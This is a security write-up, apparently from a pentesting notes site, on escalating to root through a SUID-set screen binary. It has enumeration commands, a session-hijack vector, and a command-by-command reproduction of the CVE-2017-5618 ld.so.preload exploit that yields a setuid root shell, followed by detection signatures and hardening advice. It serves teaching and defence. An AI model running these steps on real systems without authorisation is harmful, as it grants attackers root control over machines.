the_open_door
coffee
ESEN
← Back to index

Abusing SUID screen

screen is a terminal multiplexer: it creates persistent sessions detached from the current login, keeps processes running in the background and lets you reattach to them later. A harmless admin tool… except when it carries the SUID bit.

SUID recap. A SUID binary runs with the privileges of its owner, not of whoever launches it. If /usr/bin/screen is owned by root and SUID, any user running it does so, in part, with root authority. It's part of SUID binary abuse.

Enumeration

find / -perm -4000 -type f 2>/dev/null | grep -i screen
ls -la /usr/bin/screen          # -rwsr-xr-x  root root   → SUID active
screen -v                        # Screen version 4.05.00  → LPE candidate

Shared multiuser-session vector

Sometimes the escalation rests on two pieces: SUID screen plus a root process keeping a session named root alive:

while true; do sleep 1; find /var/run/screen/S-root/ -empty -exec screen -dmS root \; ; done

Since a root-owned screen session is always alive and the binary runs with root privileges, we can ask it to attach us to that multiuser session with -x:

screen -x root/       # connects to root's session -> shell with its context
id                    # uid=0(root)

"screen 4.5.0 LPE" vector (CVE-2017-5618)

SUID 4.5.0 versions have a flaw in log-file handling (-L): screen opens the log with root privileges before dropping UID, which allows creating/writing arbitrary files as root. The public exploit uses it to write an /etc/ld.so.preload that loads a malicious .so, gaining root execution:

cd /tmp
gcc -fPIC -shared -ldl -o /tmp/libhax.so libhax.c     # constructor: chown root:root /tmp/rootshell + chmod +s
gcc -o /tmp/rootshell rootshell.c                      # setuid(0); execvp("/bin/sh")
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"   # inject the path into ld.so.preload
screen -ls                                             # triggers the load
/tmp/rootshell                                         # uid=0

How to detect it. At rest, screen with the SUID bit (find / -perm -4000) is already a deviation from the standard config of most distributions. At runtime, the LPE signature is the creation or modification of /etc/ld.so.preload by a screen process (auditd over open/write of that path) and a new SUID binary appearing (/tmp/rootshell); the shared-session vector's signature is a screen -x root/ by an unprivileged user in /var/log/auth.log/journalctl. A screen child process with uid=0 whose caller is a normal user closes the chain.

Defence. Don't make screen (or tmux, or multiplexers in general) SUID: it's a powerful binary that can spawn subprocesses and share sessions. Update screen (the 4.5.0 LPE has been fixed for years), audit SUID binaries with find / -perm -4000 and strip the bit from anything that doesn't strictly require it.

Machines where it's used